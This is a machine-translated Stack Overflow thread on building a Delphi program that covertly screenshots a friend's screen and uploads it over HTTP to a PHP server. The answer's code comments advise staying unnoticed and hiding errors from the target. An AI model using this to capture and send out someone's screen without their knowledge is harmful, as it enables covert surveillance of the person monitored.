2012-11-04 41 views
-4

理念发送图片在互联网

我和一个朋友想要玩笑话另外一个朋友,让一个Delphi应用程序,它需要我们的朋友屏幕的屏幕截图,然后发送到我的电脑。

问题

的问题是,我和我的朋友不知道如何将图像发送到我的电脑。任何想法如何?

我已经试过什么GolezTrol说

这是该代码(开始于第27行)

procedure TForm1.Button1Click(Sender: TObject); 
var 
    Params: TIMultipartFormDataStream; 
    Response1: TStringStream; 
begin 
    try 
    Params := TIMultipartFormDataStream.create; 
    Response1 := TStringStream.Create; 
    try 
     Params.AddFile('file', 'C:\temp\YourTempImageName.jpg', 'image/jpg'); 
     IdHTTP1.Post('http://localhost/uploadimage.php', Params, Response1); 
    finally 
     Params.Free; 
     Response1.Free; 
    end; 
end; 

(我很忙,试图使它工作。)

额外信息 重新考虑后,我不再真正看到有趣的一面。顺便说一下,我不会强化我的朋友身份。在告诉他我们想做什么之后,他挑战我们去尝试(他打赌我们做不到)。

+0

当然是可能的(在*用来写的Win32应用程序的任何*语言) –

+0

真棒任何想法如何,但? – Craig

+0

是的,您可以使用Winsock或WinInet或一些更高级别的第三方组件,如Indy组件。 –

回答

6

通过HTTP,您可以在Multipart Formdata发布请求中发送图像。当您通过HTML表单上传图片时,这是同样的要求。服务器将不知道区别。 :)

上传很容易。您创建了一个MultipartFormDataStream,它具有添加文件的方法。然后,您可以使用TIdHTTP发送它。您可以在运行时创建它,但如果您安装了Indy组件,也可以将它放在表单上。我做了,并保留默认名称IdHTTP1

在该示例中,我从磁盘加载文件,但可能直接从流加载它。我还没有尝试过,但我认为加载一个临时文件就可以了。

客户端Delphi代码:

var 
    Params: TIdMultipartFormDataStream; 
    Response: TStringStream; 
begin 
    try 
    Params := TIdMultipartFormDataStream.Create; 
    Response := TStringStream.Create; 
    try 
     Params.AddFile('file', 'C:\temp\YourTempImageName.jpg', 'image/jpg'); 

     // Substiture real url below. 
     IdHTTP1.Post('http://localhost/uploadimage.php', Params, Response); 

     // For testing purposes, you may show the response. 
     //Memo1.Text := Response.DataString; 
    finally 
     // Free resources. Important if you want your app to keep running 
     // without being noticed. 
     Params.Free; 
     Response.Free; 
    end; 
    except 
    // Log exception for testing. Don't let it show to the 'friend'. 
    //on e: Exception d 
    // Memo1.Lines.Add(e.Message); 
    end; 
end; 

对于服务器,您可以使用允许保存文件的任何支持PHP的服务器。我已经包含了下面最简单的例子。当然你也可以用其他语言编写服务器软件,包括Delphi。但是如果你用Delphi编写它,你将需要一个可用的Windows服务器。

服务器实例PHP代码:

<?php 
if (isset($_FILES['file']) && $_FILES['file']['error'] == UPLOAD_ERR_OK) 
{ 
    // Choose your proper directory here. 
    $target = 'C:\\ff\\uploads\\' . time(); 
    $result = move_uploaded_file($_FILES['file']['tmp_name'], $target); 
    if (!$result) { 
    echo 'Cannot copy'; // This response is sent to the client. 
    } 
} 
+0

在这行代码 “Params.AddFile('file','C:\ temp \ YourTempImageName.jpg','image/jpg');” 可以将“'C:\ temp \ YourTempImageName.jpg',”更改为image1,(图像位于窗体上)。 – Craig

+0

我完全复制了代码。当我运行该程序它说[错误] Unit1.pas(29):未声明的标识符:'TIdMultipartFormDataStream'为第二行(var后)。 我没有安装Indy(如果这是一个问题,但根据我的说法,Delphi 7自带Indy,或者我错了吗?) – Craig

+2

您需要包含单元'IdMultipartFormDataStream'。但我期望对Delphi本身有一些基本的了解。你也会遇到其他一些问题,但我不打算在这里的评论中逐一回答他们。 – GolezTrol

1

如果您有一些可通过FTP访问的网络空间,则可以使用IdFTP或WinInet FTP功能。 (我在这里获得了100MB的免费网络空间和ADSL连接。)

+0

IdFTP是一个很好的选择,但显然OP不知道如何使用。 – GolezTrol